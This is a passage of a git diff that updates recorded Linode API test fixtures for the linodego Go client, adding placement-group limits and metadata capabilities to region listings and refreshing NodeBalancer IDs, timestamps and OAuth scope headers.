"Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -221,7 +172,8 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-lax", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -230,65 +182,75 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-central", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, - 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, {"id": "us-west", - "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, - 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU - Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", - "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block - Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, - {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", - "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, - DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": - "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": - ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, - 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: @@ -310,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 11 Mar 2024 15:04:30 GMT + - Fri, 31 May 2024 17:28:31 GMT Pragma: - no-cache Strict-Transport-Security: @@ -327,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -336,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":380701}' + body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":501400}' form: {} headers: Accept: @@ -348,10 +313,11 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 552752, "label": "go-test-def", "region": "ap-west", "hostname": - "172-232-87-69.ip.linodeusercontent.com", "ipv4": "172.232.87.69", "ipv6": "1234::5678", - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": - 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' + body: '{"id": 694190, "label": "go-test-def", "region": "ap-west", "hostname": + "172-105-44-250.ip.linodeusercontent.com", "ipv4": "172.105.44.250", "ipv6": + "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, + "total": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -368,13 +334,13 @@ interactions: Connection: - keep-alive Content-Length: - - "334" + - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Mon, 11 Mar 2024 15:04:30 GMT + - Fri, 31 May 2024 17:28:31 GMT Pragma: - no-cache Strict-Transport-Security: @@ -389,7 +355,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -407,14 +376,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/552752/configs + url: https://api.linode.com/v4beta/nodebalancers/694190/configs method: POST response: - body: '{"id": 869293, "port": 80, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 1134764, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 552752, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694190, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -432,13 +401,13 @@ interactions: Connection: - keep-alive Content-Length: - - "437" + - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Mon, 11 Mar 2024 15:04:30 GMT + - Fri, 31 May 2024 17:28:32 GMT Pragma: - no-cache Strict-Transport-Security: @@ -453,7 +422,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -471,7 +443,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/552752/configs/869293 + url: https://api.linode.com/v4beta/nodebalancers/694190/configs/1134764 method: DELETE response: body: '{}' @@ -497,7 +469,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 11 Mar 2024 15:04:32 GMT + - Fri, 31 May 2024 17:28:34 GMT Pragma: - no-cache Strict-Transport-Security: @@ -512,7 +484,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -530,7 +505,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/552752 + url: https://api.linode.com/v4beta/nodebalancers/694190 method: DELETE response: body: '{}' @@ -556,7 +531,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 11 Mar 2024 15:04:32 GMT + - Fri, 31 May 2024 17:28:34 GMT Pragma: - no-cache Strict-Transport-Security: @@ -571,66 +546,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "400" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/380701 - method: DELETE - response: - body: '{}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - max-age=0, no-cache, no-store - Connection: - - keep-alive - Content-Length: - - "2" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Expires: - - Mon, 11 Mar 2024 15:04:32 GMT - Pragma: - - no-cache - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestNodeBalancer_RebuildInstance.yaml b/test/integration/fixtures/TestNodeBalancer_RebuildInstance.yaml index bb07c6533..1738ca61c 100644 --- a/test/integration/fixtures/TestNodeBalancer_RebuildInstance.yaml +++ b/test/integration/fixtures/TestNodeBalancer_RebuildInstance.yaml @@ -16,67 +16,75 @@ interactions: response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, - 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, - 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}, "site_type": + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, - 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, - 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-iad", "label": - "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, - 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-ord", "label": - "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "fr-par", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, - 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-sea", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "br-gru", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -85,7 +93,8 @@ interactions: 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, - "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, @@ -93,7 +102,8 @@ interactions: 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}, "site_type": + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", @@ -102,7 +112,8 @@ interactions: 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}, "site_type": + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", @@ -111,7 +122,8 @@ interactions: 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}, "site_type": + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", @@ -120,16 +132,18 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "jp-osa", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", 